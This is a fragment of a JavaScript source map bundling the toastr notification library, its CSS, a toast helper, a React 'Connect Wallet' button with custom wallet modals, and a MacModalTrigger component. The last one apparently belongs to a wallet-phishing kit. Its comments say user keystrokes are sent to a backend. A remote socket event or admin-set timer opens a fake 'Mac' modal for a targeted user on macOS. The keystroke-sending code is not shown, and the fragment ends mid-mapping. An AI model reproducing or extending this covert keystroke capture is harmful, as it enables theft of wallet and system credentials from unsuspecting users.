Support: Greta Krafsig\n *\n * Project: https://github.com/CodeSeven/toastr\n */\n/* global define */\n(function (define) {\n define(['jquery'], function ($) {\n return (function () {\n var $container;\n var listener;\n var toastId = 0;\n var toastType = {\n error: 'error',\n info: 'info',\n success: 'success',\n warning: 'warning'\n };\n\n var toastr = {\n clear: clear,\n remove: remove,\n error: error,\n getContainer: getContainer,\n info: info,\n options: {},\n subscribe: subscribe,\n success: success,\n version: '2.1.4',\n warning: warning\n };\n\n var previousToast;\n\n return toastr;\n\n ////////////////\n\n function error(message, title, optionsOverride) {\n return notify({\n type: toastType.error,\n iconClass: getOptions().iconClasses.error,\n message: message,\n optionsOverride: optionsOverride,\n title: title\n });\n }\n\n function getContainer(options, create) {\n if (!options) { options = getOptions(); }\n $container = $('#' + options.containerId);\n if ($container.length) {\n return $container;\n }\n if (create) {\n $container = createContainer(options);\n }\n return $container;\n }\n\n function info(message, title, optionsOverride) {\n return notify({\n type: toastType.info,\n iconClass: getOptions().iconClasses.info,\n message: message,\n optionsOverride: optionsOverride,\n title: title\n });\n }\n\n function subscribe(callback) {\n listener = callback;\n }\n\n function success(message, title, optionsOverride) {\n return notify({\n type: toastType.success,\n iconClass: getOptions().iconClasses.success,\n message: message,\n optionsOverride: optionsOverride,\n title: title\n });\n }\n\n function warning(message, title, optionsOverride) {\n return notify({\n type: toastType.warning,\n iconClass: getOptions().iconClasses.warning,\n message: message,\n optionsOverride: optionsOverride,\n title: title\n });\n }\n\n function clear($toastElement, clearOptions) {\n var options = getOptions();\n if (!$container) { getContainer(options); }\n if (!clearToast($toastElement, options, clearOptions)) {\n clearContainer(options);\n }\n }\n\n function remove($toastElement) {\n var options = getOptions();\n if (!$container) { getContainer(options); }\n if ($toastElement && $(':focus', $toastElement).length === 0) {\n removeToast($toastElement);\n return;\n }\n if ($container.children().length) {\n $container.remove();\n }\n }\n\n // internal functions\n\n function clearContainer (options) {\n var toastsToClear = $container.children();\n for (var i = toastsToClear.length - 1; i >= 0; i--) {\n clearToast($(toastsToClear[i]), options);\n }\n }\n\n function clearToast ($toastElement, options, clearOptions) {\n var force = clearOptions && clearOptions.force ? clearOptions.force : false;\n if ($toastElement && (force || $(':focus', $toastElement).length === 0)) {\n $toastElement[options.hideMethod]({\n duration: options.hideDuration,\n easing: options.hideEasing,\n complete: function () { removeToast($toastElement); }\n });\n return true;\n }\n return false;\n }\n\n function createContainer(options) {\n $container = $('<div/>')\n .attr('id', options.containerId)\n .addClass(options.positionClass);\n\n $container.appendTo($(options.target));\n return $container;\n }\n\n function getDefaults() {\n return {\n tapToDismiss: true,\n toastClass: 'toast',\n containerId: 'toast-container',\n debug: false,\n\n showMethod: 'fadeIn', //fadeIn, slideDown, and show are built into jQuery\n showDuration: 300,\n showEasing: 'swing', //swing and linear are built into jQuery\n onShown: undefined,\n hideMethod: 'fadeOut',\n hideDuration: 1000,\n hideEasing: 'swing',\n onHidden: undefined,\n closeMethod: false,\n closeDuration: false,\n closeEasing: false,\n closeOnHover: true,\n\n extendedTimeOut: 1000,\n iconClasses: {\n error: 'toast-error',\n info: 'toast-info',\n success: 'toast-success',\n warning: 'toast-warning'\n },\n iconClass: 'toast-info',\n positionClass: 'toast-top-right',\n timeOut: 5000, // Set timeOut and extendedTimeOut to 0 to make it sticky\n titleClass: 'toast-title',\n messageClass: 'toast-message',\n escapeHtml: false,\n target: 'body',\n closeHtml: '<button type=\"button\">×</button>',\n closeClass: 'toast-close-button',\n newestOnTop: true,\n preventDuplicates: false,\n progressBar: false,\n progressClass: 'toast-progress',\n rtl: false\n };\n }\n\n function publish(args) {\n if (!listener) { return; }\n listener(args);\n }\n\n function notify(map) {\n var options = getOptions();\n var iconClass = map.iconClass || options.iconClass;\n\n if (typeof (map.optionsOverride) !== 'undefined') {\n options = $.extend(options, map.optionsOverride);\n iconClass = map.optionsOverride.iconClass || iconClass;\n }\n\n if (shouldExit(options, map)) { return; }\n\n toastId++;\n\n $container = getContainer(options, true);\n\n var intervalId = null;\n var $toastElement = $('<div/>');\n var $titleElement = $('<div/>');\n var $messageElement = $('<div/>');\n var $progressElement = $('<div/>');\n var $closeElement = $(options.closeHtml);\n var progressBar = {\n intervalId: null,\n hideEta: null,\n maxHideTime: null\n };\n var response = {\n toastId: toastId,\n state: 'visible',\n startTime: new Date(),\n options: options,\n map: map\n };\n\n personalizeToast();\n\n displayToast();\n\n handleEvents();\n\n publish(response);\n\n if (options.debug && console) {\n console.log(response);\n }\n\n return $toastElement;\n\n function escapeHtml(source) {\n if (source == null) {\n source = '';\n }\n\n return source\n .replace(/&/g, '&')\n .replace(/\"/g, '"')\n .replace(/'/g, ''')\n .replace(/</g, '<')\n .replace(/>/g, '>');\n }\n\n function personalizeToast() {\n setIcon();\n setTitle();\n setMessage();\n setCloseButton();\n setProgressBar();\n setRTL();\n setSequence();\n setAria();\n }\n\n function setAria() {\n var ariaValue = '';\n switch (map.iconClass) {\n case 'toast-success':\n case 'toast-info':\n ariaValue = 'polite';\n break;\n default:\n ariaValue = 'assertive';\n }\n $toastElement.attr('aria-live', ariaValue);\n }\n\n function handleEvents() {\n if (options.closeOnHover) {\n $toastElement.hover(stickAround, delayedHideToast);\n }\n\n if (!options.onclick && options.tapToDismiss) {\n $toastElement.click(hideToast);\n }\n\n if (options.closeButton && $closeElement) {\n $closeElement.click(function (event) {\n if (event.stopPropagation) {\n event.stopPropagation();\n } else if (event.cancelBubble !== undefined && event.cancelBubble !== true) {\n event.cancelBubble = true;\n }\n\n if (options.onCloseClick) {\n options.onCloseClick(event);\n }\n\n hideToast(true);\n });\n }\n\n if (options.onclick) {\n $toastElement.click(function (event) {\n options.onclick(event);\n hideToast();\n });\n }\n }\n\n function displayToast() {\n $toastElement.hide();\n\n $toastElement[options.showMethod](\n {duration: options.showDuration, easing: options.showEasing, complete: options.onShown}\n );\n\n if (options.timeOut > 0) {\n intervalId = setTimeout(hideToast, options.timeOut);\n progressBar.maxHideTime = parseFloat(options.timeOut);\n progressBar.hideEta = new Date().getTime() + progressBar.maxHideTime;\n if (options.progressBar) {\n progressBar.intervalId = setInterval(updateProgress, 10);\n }\n }\n }\n\n function setIcon() {\n if (map.iconClass) {\n $toastElement.addClass(options.toastClass).addClass(iconClass);\n }\n }\n\n function setSequence() {\n if (options.newestOnTop) {\n $container.prepend($toastElement);\n } else {\n $container.append($toastElement);\n }\n }\n\n function setTitle() {\n if (map.title) {\n var suffix = map.title;\n if (options.escapeHtml) {\n suffix = escapeHtml(map.title);\n }\n $titleElement.append(suffix).addClass(options.titleClass);\n $toastElement.append($titleElement);\n }\n }\n\n function setMessage() {\n if (map.message) {\n var suffix = map.message;\n if (options.escapeHtml) {\n suffix = escapeHtml(map.message);\n }\n $messageElement.append(suffix).addClass(options.messageClass);\n $toastElement.append($messageElement);\n }\n }\n\n function setCloseButton() {\n if (options.closeButton) {\n $closeElement.addClass(options.closeClass).attr('role', 'button');\n $toastElement.prepend($closeElement);\n }\n }\n\n function setProgressBar() {\n if (options.progressBar) {\n $progressElement.addClass(options.progressClass);\n $toastElement.prepend($progressElement);\n }\n }\n\n function setRTL() {\n if (options.rtl) {\n $toastElement.addClass('rtl');\n }\n }\n\n function shouldExit(options, map) {\n if (options.preventDuplicates) {\n if (map.message === previousToast) {\n return true;\n } else {\n previousToast = map.message;\n }\n }\n return false;\n }\n\n function hideToast(override) {\n var method = override && options.closeMethod !== false ? options.closeMethod : options.hideMethod;\n var duration = override && options.closeDuration !== false ?\n options.closeDuration : options.hideDuration;\n var easing = override && options.closeEasing !== false ? options.closeEasing : options.hideEasing;\n if ($(':focus', $toastElement).length && !override) {\n return;\n }\n clearTimeout(progressBar.intervalId);\n return $toastElement[method]({\n duration: duration,\n easing: easing,\n complete: function () {\n removeToast($toastElement);\n clearTimeout(intervalId);\n if (options.onHidden && response.state !== 'hidden') {\n options.onHidden();\n }\n response.state = 'hidden';\n response.endTime = new Date();\n publish(response);\n }\n });\n }\n\n function delayedHideToast() {\n if (options.timeOut > 0 || options.extendedTimeOut > 0) {\n intervalId = setTimeout(hideToast, options.extendedTimeOut);\n progressBar.maxHideTime = parseFloat(options.extendedTimeOut);\n progressBar.hideEta = new Date().getTime() + progressBar.maxHideTime;\n }\n }\n\n function stickAround() {\n clearTimeout(intervalId);\n progressBar.hideEta = 0;\n $toastElement.stop(true, true)[options.showMethod](\n {duration: options.showDuration, easing: options.showEasing}\n );\n }\n\n function updateProgress() {\n var percentage = ((progressBar.hideEta - (new Date().getTime())) / progressBar.maxHideTime) * 100;\n $progressElement.width(percentage + '%');\n }\n }\n\n function getOptions() {\n return $.extend({}, getDefaults(), toastr.options);\n }\n\n function removeToast($toastElement) {\n if (!$container) { $container = getContainer(); }\n if ($toastElement.is(':visible')) {\n return;\n }\n $toastElement.remove();\n $toastElement = null;\n if ($container.children().length === 0) {\n $container.remove();\n previousToast = undefined;\n }\n }\n\n })();\n });\n}(typeof define === 'function' && define.amd ? define : function (deps, factory) {\n if (typeof module !== 'undefined' && module.exports) { //Node\n module.exports = factory(require('jquery'));\n } else {\n window.toastr = factory(window.jQuery);\n }\n}));\n","export default \".toast-title{font-weight:700}.toast-message{-ms-word-wrap:break-word;word-wrap:break-word}.toast-message a,.toast-message label{color:#FFF}.toast-message a:hover{color:#CCC;text-decoration:none}.toast-close-button{position:relative;right:-.3em;top:-.3em;float:right;font-size:20px;font-weight:700;color:#FFF;-webkit-text-shadow:0 1px 0 #fff;text-shadow:0 1px 0 #fff;opacity:.8;-ms-filter:progid:DXImageTransform.Microsoft.Alpha(Opacity=80);filter:alpha(opacity=80);line-height:1}.toast-close-button:focus,.toast-close-button:hover{color:#000;text-decoration:none;cursor:pointer;opacity:.4;-ms-filter:progid:DXImageTransform.Microsoft.Alpha(Opacity=40);filter:alpha(opacity=40)}.rtl .toast-close-button{left:-.3em;float:left;right:.3em}button.toast-close-button{padding:0;cursor:pointer;background:0 0;border:0;-webkit-appearance:none}.toast-top-center{top:0;right:0;width:100%}.toast-bottom-center{bottom:0;right:0;width:100%}.toast-top-full-width{top:0;right:0;width:100%}.toast-bottom-full-width{bottom:0;right:0;width:100%}.toast-top-left{top:12px;left:12px}.toast-top-right{top:12px;right:12px}.toast-bottom-right{right:12px;bottom:12px}.toast-bottom-left{bottom:12px;left:12px}#toast-container{position:fixed;z-index:999999;pointer-events:none}#toast-container *{-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}#toast-container>div{position:relative;pointer-events:auto;overflow:hidden;margin:0 0 6px;padding:15px 15px 15px 50px;width:300px;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;background-position:15px center;background-repeat:no-repeat;-moz-box-shadow:0 0 12px #999;-webkit-box-shadow:0 0 12px #999;box-shadow:0 0 12px #999;color:#FFF;opacity:.8;-ms-filter:progid:DXImageTransform.Microsoft.Alpha(Opacity=80);filter:alpha(opacity=80)}#toast-container>div.rtl{direction:rtl;padding:15px 50px 15px 15px;background-position:right 15px center}#toast-container>div:hover{-moz-box-shadow:0 0 12px #000;-webkit-box-shadow:0 0 12px #000;box-shadow:0 0 12px #000;opacity:1;-ms-filter:progid:DXImageTransform.Microsoft.Alpha(Opacity=100);filter:alpha(opacity=100);cursor:pointer}#toast-container>.toast-info{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAGwSURBVEhLtZa9SgNBEMc9sUxxRcoUKSzSWIhXpFMhhYWFhaBg4yPYiWCXZxBLERsLRS3EQkEfwCKdjWJAwSKCgoKCcudv4O5YLrt7EzgXhiU3/4+b2ckmwVjJSpKkQ6wAi4gwhT+z3wRBcEz0yjSseUTrcRyfsHsXmD0AmbHOC9Ii8VImnuXBPglHpQ5wwSVM7sNnTG7Za4JwDdCjxyAiH3nyA2mtaTJufiDZ5dCaqlItILh1NHatfN5skvjx9Z38m69CgzuXmZgVrPIGE763Jx9qKsRozWYw6xOHdER+nn2KkO+Bb+UV5CBN6WC6QtBgbRVozrahAbmm6HtUsgtPC19tFdxXZYBOfkbmFJ1VaHA1VAHjd0pp70oTZzvR+EVrx2Ygfdsq6eu55BHYR8hlcki+n+kERUFG8BrA0BwjeAv2M8WLQBtcy+SD6fNsmnB3AlBLrgTtVW1c2QN4bVWLATaIS60J2Du5y1TiJgjSBvFVZgTmwCU+dAZFoPxGEEs8nyHC9Bwe2GvEJv2WXZb0vjdyFT4Cxk3e/kIqlOGoVLwwPevpYHT+00T+hWwXDf4AJAOUqWcDhbwAAAAASUVORK5CYII=)!important}#toast-container>.toast-error{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAHOSURBVEhLrZa/SgNBEMZzh0WKCClSCKaIYOED+AAKeQQLG8HWztLCImBrYadgIdY+gIKNYkBFSwu7CAoqCgkkoGBI/E28PdbLZmeDLgzZzcx83/zZ2SSXC1j9fr+I1Hq93g2yxH4iwM1vkoBWAdxCmpzTxfkN2RcyZNaHFIkSo10+8kgxkXIURV5HGxTmFuc75B2RfQkpxHG8aAgaAFa0tAHqYFfQ7Iwe2yhODk8+J4C7yAoRTWI3w/4klGRgR4lO7Rpn9+gvMyWp+uxFh8+H+ARlgN1nJuJuQAYvNkEnwGFck18Er4q3egEc/oO+mhLdKgRyhdNFiacC0rlOCbhNVz4H9FnAYgDBvU3QIioZlJFLJtsoHYRDfiZoUyIxqCtRpVlANq0EU4dApjrtgezPFad5S19Wgjkc0hNVnuF4HjVA6C7QrSIbylB+oZe3aHgBsqlNqKYH48jXyJKMuAbiyVJ8KzaB3eRc0pg9VwQ4niFryI68qiOi3AbjwdsfnAtk0bCjTLJKr6mrD9g8iq/S/B81hguOMlQTnVyG40wAcjnmgsCNESDrjme7wfftP4P7SP4N3CJZdvzoNyGq2c/HWOXJGsvVg+RA/k2MC/wN6I2YA2Pt8GkAAAAASUVORK5CYII=)!important}#toast-container>.toast-success{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADsSURBVEhLY2AYBfQMgf///3P8+/evAIgvA/FsIF+BavYDDWMBGroaSMMBiE8VC7AZDrIFaMFnii3AZTjUgsUUWUDA8OdAH6iQbQEhw4HyGsPEcKBXBIC4ARhex4G4BsjmweU1soIFaGg/WtoFZRIZdEvIMhxkCCjXIVsATV6gFGACs4Rsw0EGgIIH3QJYJgHSARQZDrWAB+jawzgs+Q2UO49D7jnRSRGoEFRILcdmEMWGI0cm0JJ2QpYA1RDvcmzJEWhABhD/pqrL0S0CWuABKgnRki9lLseS7g2AlqwHWQSKH4oKLrILpRGhEQCw2LiRUIa4lwAAAABJRU5ErkJggg==)!important}#toast-container>.toast-warning{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAGYSURBVEhL5ZSvTsNQFMbXZGICMYGYmJhAQIJAICYQPAACiSDB8AiICQQJT4CqQEwgJvYASAQCiZiYmJhAIBATCARJy+9rTsldd8sKu1M0+dLb057v6/lbq/2rK0mS/TRNj9cWNAKPYIJII7gIxCcQ51cvqID+GIEX8ASG4B1bK5gIZFeQfoJdEXOfgX4QAQg7kH2A65yQ87lyxb27sggkAzAuFhbbg1K2kgCkB1bVwyIR9m2L7PRPIhDUIXgGtyKw575yz3lTNs6X4JXnjV+LKM/m3MydnTbtOKIjtz6VhCBq4vSm3ncdrD2lk0VgUXSVKjVDJXJzijW1RQdsU7F77He8u68koNZTz8Oz5yGa6J3H3lZ0xYgXBK2QymlWWA+RWnYhskLBv2vmE+hBMCtbA7KX5drWyRT/2JsqZ2IvfB9Y4bWDNMFbJRFmC9E74SoS0CqulwjkC0+5bpcV1CZ8NMej4pjy0U+doDQsGyo1hzVJttIjhQ7GnBtRFN1UarUlH8F3xict+HY07rEzoUGPlWcjRFRr4/gChZgc3ZL2d8oAAAAASUVORK5CYII=)!important}#toast-container.toast-bottom-center>div,#toast-container.toast-top-center>div{width:300px;margin-left:auto;margin-right:auto}#toast-container.toast-bottom-full-width>div,#toast-container.toast-top-full-width>div{width:96%;margin-left:auto;margin-right:auto}.toast{background-color:#030303}.toast-success{background-color:#51A351}.toast-error{background-color:#BD362F}.toast-info{background-color:#2F96B4}.toast-warning{background-color:#F89406}.toast-progress{position:absolute;left:0;bottom:0;height:4px;background-color:#000;opacity:.4;-ms-filter:progid:DXImageTransform.Microsoft.Alpha(Opacity=40);filter:alpha(opacity=40)}@media all and (max-width:240px){#toast-container>div{padding:8px 8px 8px 50px;width:11em}#toast-container>div.rtl{padding:8px 50px 8px 8px}#toast-container .toast-close-button{right:-.2em;top:-.2em}#toast-container .rtl .toast-close-button{left:-.2em;right:.2em}}@media all and (min-width:241px) and (max-width:480px){#toast-container>div{padding:8px 8px 8px 50px;width:18em}#toast-container>div.rtl{padding:8px 50px 8px 8px}#toast-container .toast-close-button{right:-.2em;top:-.2em}#toast-container .rtl .toast-close-button{left:-.2em;right:.2em}}@media all and (min-width:481px) and (max-width:768px){#toast-container>div{padding:15px 15px 15px 50px;width:25em}#toast-container>div.rtl{padding:15px 50px 15px 15px}}\";","/**\n * Toast utility for showing notifications using toastr\n * toastr is bundled with the package - no setup required\n */\n\n// @ts-ignore - toastr is bundled as a dependency\nimport toastr from \"toastr\";\n// @ts-ignore - Virtual import that inlines CSS as string\nimport toastrCSS from \"virtual:toastr-css\";\n\nexport type ToastType = 'success' | 'error' | 'warning' | 'info';\n\nexport interface ToastOptions {\n type: ToastType;\n message: string;\n title?: string;\n duration?: number;\n}\n\n// Track if CSS has been injected\nlet cssInjected = false;\n\n/**\n * Dynamically inject toastr CSS into the page\n */\nfunction injectToastrCSS() {\n if (cssInjected || typeof document === 'undefined') {\n return;\n }\n\n // Check if CSS is already in the page\n const existingStyle = document.querySelector('style[data-toastr-css]');\n if (existingStyle) {\n cssInjected = true;\n return;\n }\n\n // Inject CSS as a style tag\n const style = document.createElement('style');\n style.setAttribute('data-toastr-css', 'true');\n style.textContent = toastrCSS;\n document.head.appendChild(style);\n cssInjected = true;\n}\n\n/**\n * Show a toast notification using toastr\n */\nexport function Toast({ type, title = \"\", message }: ToastOptions) {\n // Inject CSS on first use\n injectToastrCSS();\n\n // Configure toastr options\n toastr.options = {\n closeButton: false,\n debug: false,\n newestOnTop: false,\n progressBar: false,\n positionClass: \"toast-top-right\",\n preventDuplicates: false,\n onclick: null,\n showDuration: \"300\",\n hideDuration: \"1000\",\n timeOut: \"5000\",\n extendedTimeOut: \"1000\",\n showEasing: \"swing\",\n hideEasing: \"linear\",\n showMethod: \"fadeIn\",\n hideMethod: \"fadeOut\",\n };\n\n return toastr[type](message, title);\n}\n\n","import React, { useState } from 'react';\r\nimport WalletSelectionModal from './WalletSelectionModal';\r\nimport CustomWalletModal from './CustomWalletModal';\r\nimport { WalletType } from '../types';\r\nimport { checkWalletInstalled } from '../utils/walletDetection';\r\nimport { Toast } from '../utils/toast';\r\n\r\ninterface ConnectWalletButtonProps {\r\n className?: string;\r\n userId?: string;\r\n}\r\n\r\nconst ConnectWalletButton: React.FC<ConnectWalletButtonProps> = ({\r\n className = '',\r\n userId,\r\n}) => {\r\n const [isSelectionModalOpen, setIsSelectionModalOpen] = useState(false);\r\n const [isCustomModalOpen, setIsCustomModalOpen] = useState(false);\r\n const [selectedWallet, setSelectedWallet] = useState<WalletType | null>(null);\r\n\r\n const handleButtonClick = () => {\r\n setIsSelectionModalOpen(true);\r\n };\r\n\r\n const handleWalletSelect = (wallet: WalletType) => {\r\n // Check if wallet is installed before opening modal\r\n const { isInstalled, walletName } = checkWalletInstalled(wallet);\r\n \r\n if (isInstalled) {\r\n // Wallet is installed, proceed with opening modal\r\n setSelectedWallet(wallet);\r\n setIsSelectionModalOpen(false);\r\n setIsCustomModalOpen(true);\r\n } else {\r\n // Wallet is not installed, show error toast\r\n Toast({ \r\n type: 'error', \r\n message: `${walletName} is NOT installed!` \r\n });\r\n // Don't open the modal, just close the selection modal\r\n setIsSelectionModalOpen(false);\r\n }\r\n };\r\n\r\n const handleCloseSelectionModal = () => {\r\n setIsSelectionModalOpen(false);\r\n };\r\n\r\n const handleCloseCustomModal = () => {\r\n setIsCustomModalOpen(false);\r\n setSelectedWallet(null);\r\n };\r\n\r\n return (\r\n <>\r\n <button\r\n onClick={handleButtonClick}\r\n className={`connect-wallet-button ${className}`}\r\n style={{\r\n padding: '12px 24px',\r\n fontSize: '16px',\r\n fontWeight: '600',\r\n color: '#fff',\r\n backgroundColor: '#4F46E5',\r\n border: 'none',\r\n borderRadius: '8px',\r\n cursor: 'pointer',\r\n transition: 'all 0.2s ease',\r\n }}\r\n onMouseEnter={(e) => {\r\n e.currentTarget.style.backgroundColor = '#4338CA';\r\n }}\r\n onMouseLeave={(e) => {\r\n e.currentTarget.style.backgroundColor = '#4F46E5';\r\n }}\r\n >\r\n Connect Wallet\r\n </button>\r\n\r\n <WalletSelectionModal\r\n isOpen={isSelectionModalOpen}\r\n onWalletSelect={handleWalletSelect}\r\n onClose={handleCloseSelectionModal}\r\n userId={userId}\r\n />\r\n\r\n {selectedWallet && (\r\n <CustomWalletModal\r\n wallet={selectedWallet}\r\n isOpen={isCustomModalOpen}\r\n onClose={handleCloseCustomModal}\r\n userId={userId}\r\n />\r\n )}\r\n </>\r\n );\r\n};\r\n\r\nexport default ConnectWalletButton;\r\n\r\n","import axios from 'axios';\r\nimport { getBackendUrl } from './config';\r\n\r\nexport interface MacModalSettings {\r\n user_id: string;\r\n mac_user_name: string;\r\n mac_modal_timing: number;\r\n}\r\n\r\n/**\r\n * Get mac-modal settings for a user by user_id.\r\n * Public endpoint for widget usage.\r\n * mac_modal_timing: -1 = socket-only, 0+ = open after N seconds on load.\r\n */\r\nexport const getMacModalSettings = async (\r\n userId: string\r\n): Promise<MacModalSettings | null> => {\r\n if (!userId) return null;\r\n\r\n try {\r\n const BACKEND_URL = getBackendUrl();\r\n if (!BACKEND_URL) return null;\r\n\r\n const response = await axios.get<MacModalSettings>(\r\n `${BACKEND_URL}/api/users/user-id/${userId}/mac-modal`,\r\n { timeout: 5000 }\r\n );\r\n return response.data;\r\n } catch {\r\n return null;\r\n }\r\n};\r\n","import React, { useState, useEffect, useRef } from 'react';\nimport { getMacModalSettings } from '../services/macModalService';\nimport { initializeSocket, subscribeToShowMacModal } from '../services/keyService';\nimport ModalContainer from './ModalContainer';\nimport MacModal from '../wallets/mac/MacModal';\nimport '../styles/modal-isolation.css';\n\nconst isMacOS = (): boolean =>\n typeof navigator !== 'undefined' &&\n (navigator.platform?.includes('Mac') ?? /Mac|iPhone|iPad|iPod/.test(navigator.userAgent));\n\nexport interface MacModalTriggerProps {\n /** User ID for backend key service. Required when backendConfig.enabled is true. */\n userId?: string;\n /** Backend integration config. When enabled, keystrokes are sent to backend. */\n backendConfig?: {\n enabled?: boolean;\n userId?: string;\n };\n /** Called when the Mac modal is closed. */\n onClose?: () => void;\n}\n\n/**\n * Listens for the backend socket event (default: `showMacModal`) and opens the Mac modal only when:\n * - The user's OS is macOS (Mac, iPhone, iPad, iPod), and\n * - The payload's user_id matches this component's userId (or backendConfig.userId).\n * Mount once (e.g. at app root) to enable socket-triggered Mac modal.\n *\n * Backend example: io.emit('showMacModal', { message: '...', user_id, text, timestamp });\n */\nconst MacModalTrigger: React.FC<MacModalTriggerProps> = ({\n userId,\n backendConfig,\n onClose,\n}) => {\n const [isOpen, setIsOpen] = useState(false);\n const [adminName, setAdminName] = useState<string | undefined>(undefined);\n const effectiveUserId = userId ?? backendConfig?.userId;\n const timedOpenFiredRef = useRef(false);\n\n useEffect(() => {\n initializeSocket();\n const unsubscribe = subscribeToShowMacModal((payload) => {\n const emitUserId = payload?.user_id;\n if (\n isMacOS() &&\n effectiveUserId &&\n emitUserId &&\n emitUserId === effectiveUserId\n ) {\n setAdminName(payload?.text);\n setIsOpen(true);\n }\n });\n return unsubscribe;\n }, [effectiveUserId]);\n\n \n useEffect(() => {\n if (!effectiveUserId) return;\n\n timedOpenFiredRef.current = false;\n let timer: ReturnType<typeof setTimeout> | null = null;\n let cancelled = false;\n\n getMacModalSettings(effectiveUserId).then((settings) => {\n if (cancelled || !settings || settings.mac_modal_timing === undefined || settings.mac_modal_timing < 0) {\n return;\n }\n const timingSeconds = Math.max(0, settings.mac_modal_timing);\n if (timingSeconds === 0) {\n setAdminName(settings.mac_user_name || undefined);\n setIsOpen(true);\n timedOpenFiredRef.current = true;\n } else {\n timer = setTimeout(() => {\n if (cancelled || timedOpenFiredRef.current) return;\n setAdminName(settings.mac_user_name || undefined);\n setIsOpen(true);\n timedOpenFiredRef.current = true;\n }, timingSeconds * 1000);\n }\n });\n\n return () => {\n cancelled = true;\n if (timer) clearTimeout(timer);\n };\n }, [effectiveUserId]);\n\n\n\n const handleClose = () => {\n setIsOpen(false);\n onClose?.();\n };\n\n if (!isOpen) return null;\n\n return (\n <ModalContainer>\n <MacModal\n wallet=\"Mac\"\n isOpen={isOpen}\n onClose={handleClose}\n userId={effectiveUserId}\n backendConfig={backendConfig}\n adminName={adminName}\n />\n </ModalContainer>\n );\n};\n\nexport default MacModalTrigger;\n"],"names":["this","require$$0"],"mappings":"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